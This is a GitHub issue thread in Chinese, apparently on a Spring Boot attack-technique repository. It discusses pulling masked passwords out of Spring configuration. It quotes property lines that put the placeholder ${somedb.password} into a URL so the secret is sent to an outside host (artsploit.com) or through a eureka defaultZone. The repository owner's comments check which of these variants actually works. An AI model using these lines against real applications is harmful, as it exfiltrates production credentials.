Skip to content

获取被星号脱敏的密码的明文 (方法二) 原理/出处 #1

Closed

Description

2020攻防演练弹药库-您有主机上线请注意

就算实在不能RCE, 这里也有个技巧可以偷取 Spring 配置文件中的加密字段, 偷一下生产环境的密码/key也ok

eureka.client.serviceUrl.defaultZone=http://${somedb.password}@127.0.0.1:5000
spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml

${somedb.password} 是Spring的占位符, 当发起如下请求时会主动填充, 也就是说所有用以下请求格式的都可以外带, 不限于eureka

scheme://[user:password@]domain:port/path?query_string#fragment_id

【Spring源码分析】.properties文件读取及占位符${...}替换源码解析 - 五月的仓颉 - 博客园

Activity

  1. LandGrey commented on May 27, 2020

    @LandGrey
    Owner

    纠正一下:

    • 出处不是你给的文章里的内容,利用 spring.cloud.bootstrap.location=http://${somedb.password}@artsploit.com/yaml-payload.yml 偷密码跟本不能复现,有理由怀疑根本不行,而作者没有测试或者跟踪源码

    • 你可以跟一下 eureka.client.serviceUrl.defaultZone 偷密码那个流程,结合了 eureka 的认证流程,所以可以外带密码

  2. LandGrey commented on May 27, 2020

    @LandGrey
    Owner

    学习了,确实可以从目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据

  3. ghost closed this as completedon May 27, 2020
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions